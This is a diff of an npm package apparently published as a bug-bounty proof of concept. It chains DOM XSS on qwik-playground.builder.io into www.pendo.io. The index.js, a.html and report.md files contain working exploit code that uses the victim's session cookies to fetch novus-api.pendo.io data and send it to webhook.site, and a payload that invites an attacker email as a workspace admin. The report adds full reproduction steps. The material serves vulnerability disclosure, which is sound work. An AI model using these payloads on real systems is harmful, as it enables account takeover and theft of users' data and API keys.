npm-builderio-qwik-poc 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/a.html CHANGED
@@ -19,7 +19,7 @@ document.getElementById('btn').addEventListener('click', function() {
19
19
  log.textContent += '[4] XSS will iframe pendo.io, postMessage into it,\n';
20
20
  log.textContent += ' then reach into the first-party window to exfil data.\n';
21
21
 
22
- window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJc/eoYmFyMklUMumxlfmmRbmleZmFpqm5BYnJ2Ynqqbl5ibqqhg6GegZ6BfYVtjFItnK1UCwA=';
22
+ window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOxr7BVqgUA';
23
23
  }, 3000);
24
24
  });
25
25
  </script>
package/index.js CHANGED
@@ -11,13 +11,13 @@ ids.forEach(function(id) {
11
11
  allIds.push(id.replace('builder-', ''));
12
12
  });
13
13
 
14
- var payload = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/user',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:'alienisgrinding+x1@intigriti.me',role:2,first:'Security',last:'Researcher'})}).then(function(r){return r.text()}).then(function(d){new Image().src='https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97?action=invite&status='+encodeURIComponent(d)})\";w.document.head.appendChild(s)}";
14
+ var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
15
15
 
16
16
  iframe.onload = function() {
17
17
  setTimeout(function() {
18
18
  var patchData = {};
19
19
  allIds.forEach(function(id) {
20
- patchData[id] = [{op:"replace",path:"/bindings/show",value:payload}];
20
+ patchData[id] = [{op:"replace",path:"/bindings/show",value:exfil}];
21
21
  });
22
22
  iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
23
23
  }, 3000);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "npm-builderio-qwik-poc",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "Security research PoC",
5
5
  "main": "index.js",
6
6
  "type": "module"
@@ -0,0 +1,34 @@
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head><title>Builder.io + Pendo PoC</title></head>
4
+ <body style="font-family:sans-serif;background:#111;color:#eee;padding:40px;max-width:700px;margin:0 auto;text-align:center;">
5
+ <h2>Builder.io → Pendo DOM XSS Chain</h2>
6
+ <p>Make sure you are logged into <a href="https://app.pendo.io" target="_blank" style="color:#4af;">app.pendo.io</a> first.</p>
7
+ <button id="btn" style="padding:18px 40px;font-size:20px;cursor:pointer;background:#e33;color:#fff;border:none;border-radius:6px;">Run Exploit</button>
8
+ <pre id="log" style="margin-top:30px;background:#1a1a1a;color:#0f0;padding:20px;text-align:left;border-radius:6px;min-height:120px;"></pre>
9
+ <script>
10
+ document.getElementById('btn').addEventListener('click', function() {
11
+ var log = document.getElementById('log');
12
+ this.disabled = true;
13
+ this.style.background = '#666';
14
+
15
+ log.textContent = '[1] Opening www.pendo.io as first-party window (session cookies load here)...\n';
16
+ window.open('https://www.pendo.io', 'pendowin');
17
+
18
+ setTimeout(function() {
19
+ log.textContent += '[2] Redirecting to qwik-playground.builder.io XSS payload...\n';
20
+ log.textContent += '[3] Payload will:\n';
21
+ log.textContent += ' - iframe www.pendo.io with builder.frameEditing=true\n';
22
+ log.textContent += ' - send postMessage to inject JS via Function()\n';
23
+ log.textContent += ' - bridge into first-party window (same-origin)\n';
24
+ log.textContent += ' - fetch novus-api.pendo.io/pendo/app with victim cookies\n';
25
+ log.textContent += ' - exfiltrate response to webhook\n\n';
26
+ log.textContent += '[*] Check your leaked data at:\n';
27
+ log.textContent += ' https://webhook.site/#!/view/236d0505-1750-49fe-907d-604b0934b5c7\n';
28
+
29
+ window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOyr7BVqgUA';
30
+ }, 3000);
31
+ });
32
+ </script>
33
+ </body>
34
+ </html>
package/report.md CHANGED
@@ -1,8 +1,8 @@
1
- # Chained DOM XSS on qwik-playground.builder.io → www.pendo.io Account Takeover via novus-api.pendo.io
1
+ # Chained DOM XSS on qwik-playground.builder.io → www.pendo.io Full Workspace Takeover via novus-api.pendo.io
2
2
 
3
3
  ## Summary
4
4
 
5
- While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler, resulting in full account takeover.
5
+ While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler. Combined with a CORS misconfiguration on `novus-api.pendo.io`, this results in full workspace and account takeover on **app.pendo.io**.
6
6
 
7
7
  **Vulnerability 1** — Unsanitized `location.hash` flows into a dynamic `import()` with path traversal:
8
8
 
@@ -31,7 +31,9 @@ a = Function('state','event','block','builder','Device','update','Builder','cont
31
31
  );
32
32
  ```
33
33
 
34
- This allows an attacker to execute arbitrary JavaScript in any authenticated Pendo user's session, access all data on **novus-api.pendo.io** (user identity, workspace configuration, account metadata), and perform any action as the victim — full account takeover with zero clicks.
34
+ **Vulnerability 3** — CORS misconfiguration on `novus-api.pendo.io`. The API returns `Access-Control-Allow-Origin: https://www.pendo.io` with `Access-Control-Allow-Credentials: true`. JS running on `www.pendo.io` can make authenticated requests and read responses — including `POST /pendo/user` which creates admin invitations for the victim's Pendo subscription.
35
+
36
+ The attacker gets full admin access to the victim's **app.pendo.io** workspace. One click, full account and organization takeover.
35
37
 
36
38
  ## Environment / Prerequisites
37
39
 
@@ -44,13 +46,13 @@ No special browser, extension, or configuration is required.
44
46
 
45
47
  ## Steps to Reproduce
46
48
 
47
- There are two ways to reproduce this. **Path A** is the ready-made PoC — everything is already set up, just follow 4 steps. **Path B** is the full manual build if you want to understand how the chain works end to end.
49
+ There are two paths. **Path A is the one you should use to verify this bug** — everything is deployed, just log in and click a link. Path B shows the full workspace takeover chain where the attacker invites themselves as admin. The video PoC attached covers both paths end to end.
48
50
 
49
51
  ---
50
52
 
51
- ### Path A — Ready-Made PoC (Recommended)
53
+ ### Path A — Data Exfiltration PoC (Use This One)
52
54
 
53
- Everything is already deployed. The npm package is published, the exploit page is hosted. You just need to be logged into Pendo and visit a URL.
55
+ This is the fastest way to verify the chain works. Everything is already set up. The exploit fetches the victim's data from `novus-api.pendo.io` and sends it to a webhook. You'll see your own PII, API keys, and account data land on the webhook page.
54
56
 
55
57
  **Step 1:** Log in to Pendo at `https://app.pendo.io`.
56
58
 
@@ -64,25 +66,33 @@ https://poc1.xyz/pendo-poc.html
64
66
  - A new tab opens to `www.pendo.io` (loads your session cookies)
65
67
  - After 3 seconds, the original tab redirects to the qwik-playground XSS, which silently triggers the full chain
66
68
 
67
- **Step 4:** Go to the attacker's webhook to see your leaked data:
69
+ **Step 4:** Go to the webhook to see your leaked data:
68
70
 
69
71
  ```
70
- https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97
72
+ https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7
71
73
  ```
72
74
 
73
- Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the `novus-api.pendo.io/pendo/app` response — your user identity, email, role, workspace info, and account metadata. To read the data, copy the `d` value, go to https://www.base64decode.org/, paste it, and click Decode. You'll see the full JSON with the victim's account data.
75
+ Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the API response. To read it, copy the `d` value, go to https://www.base64decode.org/, paste it, and click Decode. You'll see JSON containing:
76
+
77
+ - Your **email**, **name**, **role**, and **internal user ID**
78
+ - **Workspace metadata** and **subscription IDs**
79
+ - **API keys** and **track event secrets**
80
+ - **Feature flags** and **application configuration**
81
+ - **Account creation timestamps** and **auth token details**
74
82
 
75
83
  That's it. One click, full data exfiltration from `novus-api.pendo.io`.
76
84
 
77
85
  ---
78
86
 
79
- ### Path B — Manual Build (For Understanding the Chain)
87
+ ### Path B — Full Workspace Takeover (Admin Invitation)
88
+
89
+ This is the real impact. Instead of just reading data, the attacker uses `POST /pendo/user` to invite themselves as **admin (role 2)** to the victim's Pendo subscription. The invitation works on both `novus.pendo.io` AND `app.pendo.io` because they share the same subscription and user database. After accepting the invite, the attacker has full admin access to the victim's workspace.
80
90
 
81
- This section walks through building the entire exploit from scratch. Not needed for reproduction — just here so you can see how every piece fits together.
91
+ Path B requires building and publishing your own npm package with your attacker email. Here's how:
82
92
 
83
- **Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where stolen data will land.
93
+ **Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where you'll see the API response confirming the invitation was created.
84
94
 
85
- **Step 2:** Create a file called `index.js` with the following content. Replace `YOUR-WEBHOOK-URL-HERE` with the webhook URL from Step 1:
95
+ **Step 2:** Create a file called `index.js` with the following content. Replace `ATTACKER-EMAIL` with the email you want the admin invitation sent to, and `YOUR-WEBHOOK-URL` with the webhook URL from Step 1:
86
96
 
87
97
  ```js
88
98
  var iframe = document.createElement('iframe');
@@ -119,13 +129,13 @@ ids.forEach(function(id) {
119
129
  allIds.push(id.replace('builder-', ''));
120
130
  });
121
131
 
122
- var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='YOUR-WEBHOOK-URL-HERE?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
132
+ var payload = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/user',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:'ATTACKER-EMAIL',role:2,first:'Security',last:'Researcher'})}).then(function(r){return r.text()}).then(function(d){new Image().src='YOUR-WEBHOOK-URL?action=invite&status='+encodeURIComponent(d)})\";w.document.head.appendChild(s)}";
123
133
 
124
134
  iframe.onload = function() {
125
135
  setTimeout(function() {
126
136
  var patchData = {};
127
137
  allIds.forEach(function(id) {
128
- patchData[id] = [{op:"replace",path:"/bindings/show",value:exfil}];
138
+ patchData[id] = [{op:"replace",path:"/bindings/show",value:payload}];
129
139
  });
130
140
  iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
131
141
  }, 3000);
@@ -133,13 +143,14 @@ iframe.onload = function() {
133
143
  ```
134
144
 
135
145
  What this does:
136
- - Creates a hidden iframe to `www.pendo.io/?builder.frameEditing=true` (enables the vulnerable postMessage handler)
137
- - Sends a `builder.patchUpdates` postMessage that injects attacker code into block bindings
138
- - The binding value runs through `Function()` — arbitrary JS execution on `www.pendo.io`
139
- - The JS bridges into the first-party pendo.io window to bypass cookie partitioning
140
- - Fetches `novus-api.pendo.io/pendo/app` with the victim's cookies and exfiltrates via `<img>` tags
146
+ - Iframes `www.pendo.io/?builder.frameEditing=true` (enables the vulnerable postMessage handler)
147
+ - Sends `builder.patchUpdates` postMessage that injects attacker code into block bindings (no origin check)
148
+ - The binding runs through `Function()` — arbitrary JS on `www.pendo.io`
149
+ - Bridges into the first-party pendo.io window to bypass Chrome's cookie partitioning
150
+ - Calls `POST /pendo/user` with `role: 2` (admin) and the attacker's email
151
+ - The API creates an admin invitation — attacker receives an email to join the victim's subscription
141
152
 
142
- **Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check availability at `https://www.npmjs.com/package/YOUR-NAME` (if you get a 404, it's free):
153
+ **Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check at `https://www.npmjs.com/package/YOUR-NAME` (404 = available):
143
154
 
144
155
  ```json
145
156
  {
@@ -164,8 +175,6 @@ npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE
164
175
  npm publish
165
176
  ```
166
177
 
167
- Replace `YOUR_TOKEN_HERE` with the token from 4b.
168
-
169
178
  **Step 5:** Wait ~2 minutes for jsDelivr to index it. Verify at `https://cdn.jsdelivr.net/npm/your-unique-package-name@1.0.0` — you should see your code.
170
179
 
171
180
  **Step 6:** Generate the exploit URL. Go to https://poc1.xyz/pendo-encoder.html, type your package name, click "Generate PoC URL", and copy the result.
@@ -191,24 +200,42 @@ document.getElementById('btn').addEventListener('click', function() {
191
200
  </html>
192
201
  ```
193
202
 
194
- **Step 8:** Open `a.html`, log into Pendo in the same browser, click the button, and check your webhook from Step 1.
203
+ **Step 8:** Open `a.html` in a browser where the victim is logged into Pendo. Click the button.
204
+
205
+ **Step 9:** Check your webhook — you'll see a response with `201 Created` and a `pendoInvitationId`. Check the attacker email inbox — you'll receive an invitation to join the victim's Pendo subscription as admin.
206
+
207
+ **Step 10:** Accept the invitation, create a password. You now have full admin access on both **novus.pendo.io** and **app.pendo.io** — same subscription, same user database.
208
+
209
+ ---
210
+
211
+ ## Video PoC
212
+
213
+ The attached video PoC demonstrates both paths:
214
+ - **Path A** — one click, victim's PII, API keys, and account data exfiltrated to the attacker's webhook
215
+ - **Path B** — one click, attacker invited as admin to the victim's workspace, then logging into app.pendo.io with full admin access
195
216
 
196
217
  ## Impact
197
218
 
198
- The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user. Pendo is a product analytics and digital adoption platform used by thousands of companies to track user behavior, manage in-app guides, and configure product experiences across their applications.
219
+ The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user. Combined with the CORS misconfiguration on `novus-api.pendo.io`, this gives the attacker full read and write access to the victim's Pendo subscription.
199
220
 
200
- **Account Takeover via novus-api.pendo.io** — The attacker calls `novus-api.pendo.io/pendo/app` with the victim's session cookies. This endpoint returns the full application configuration including **user identity** (email, name, role, internal user ID), **workspace metadata**, **account configuration**, and **authentication token details**. I confirmed this by exfiltrating the response to a webhook — the data included usernames, emails, role assignments, and workspace identifiers. From this position, the attacker can access any `novus-api.pendo.io` endpoint the victim has access to.
221
+ **Full Workspace Takeover via Admin Invitation** — The attacker calls `POST /pendo/user` with `role: 2` to create an admin invitation for themselves. After accepting, the attacker has full admin access to the victim's **app.pendo.io** workspace — the same access as the account owner. This includes user management (invite more admins, remove users), guide publishing to the victim's end users, all analytics and session replay data, integration management, and full subscription settings.
201
222
 
202
- **Data Exfiltration** — With JS execution on `www.pendo.io`, the attacker can read any data accessible to the victim: analytics dashboards, user behavior data, guide configurations, feature flag settings, and any sensitive product data visible through the Pendo interface.
223
+ **Data Exfiltration** — Before the attacker even needs to invite themselves, the chain leaks:
224
+ - `GET /pendo/app` — **API keys**, application config, all feature flags, **track event secrets**
225
+ - `GET /auth/me` — victim's **email**, user ID, organization ID, subscription IDs
226
+ - `GET /auth/subscriptions` — all subscriptions the victim belongs to
227
+ - `GET /cortex-chat` — all **AI assistant conversations**
228
+ - `GET /setup-workflow` — all workflow data
229
+ - `GET /integrations` — connected integrations (in my test, the victim's **GitHub account** was exposed)
203
230
 
204
- **Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access to the victim's account without needing to re-exploit.
231
+ **Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access without re-exploiting.
205
232
 
206
- **Workspace Takeover** — Because `novus-api.pendo.io` has no additional CORS restrictions against `www.pendo.io`, the attacker can make authenticated API calls to modify workspace settings, invite attacker-controlled accounts, change user roles, or alter product analytics data affecting the victim's entire organization.
233
+ **Organization Takeover** — Once the attacker has admin access via the invitation, they can invite more attacker-controlled accounts, remove legitimate users, change roles, modify product analytics, publish malicious guides to the victim's end users, and access all connected integrations.
207
234
 
208
- This works against any authenticated Pendo user regardless of their role. One click, full account and workspace takeover.
235
+ One click from any logged-in Pendo user. Full account, workspace, and organization takeover on app.pendo.io.
209
236
 
210
237
  ### CVSS Clarification
211
238
 
212
- - **Confidentiality: High** — The attacker can access all user data, workspace data, account metadata, analytics data, and any information available through `novus-api.pendo.io` using the victim's session.
213
- - **Integrity: High** — The attacker can modify all user data, workspace settings, guide configurations, and analytics data through authenticated API calls to `novus-api.pendo.io`.
214
- - **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the data exfiltration step. The XSS chain itself (qwik-playground → pendo.io iframe → postMessage → `Function()` execution) fires automatically when the victim visits any attacker-controlled page. An attacker can embed the qwik-playground XSS URL in a hidden iframe on any website the victim visits — the DOM XSS on `qwik-playground.builder.io` triggers on page load with no interaction, the pendo.io iframe is created programmatically, and the postMessage payload is sent automatically. The victim sees nothing and clicks nothing.
239
+ - **Confidentiality: High** — The attacker can access all user data, workspace data, API keys, track event secrets, account metadata, analytics data, AI conversations, integration credentials, and any information available through `novus-api.pendo.io`.
240
+ - **Integrity: High** — The attacker can invite themselves as admin (`POST /pendo/user` with `role: 2`), modify all workspace settings, publish guides to end users, change user roles, remove users, and alter any data through the Pendo admin panel on app.pendo.io.
241
+ - **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the authenticated API calls. The XSS chain itself (qwik-playground → pendo.io iframe → postMessage → `Function()` execution) fires automatically when the victim visits any attacker-controlled page. An attacker can embed the qwik-playground XSS URL in a hidden iframe on any website — the DOM XSS triggers on page load, the pendo.io iframe is created programmatically, and the postMessage payload is sent automatically. The victim sees nothing and clicks nothing.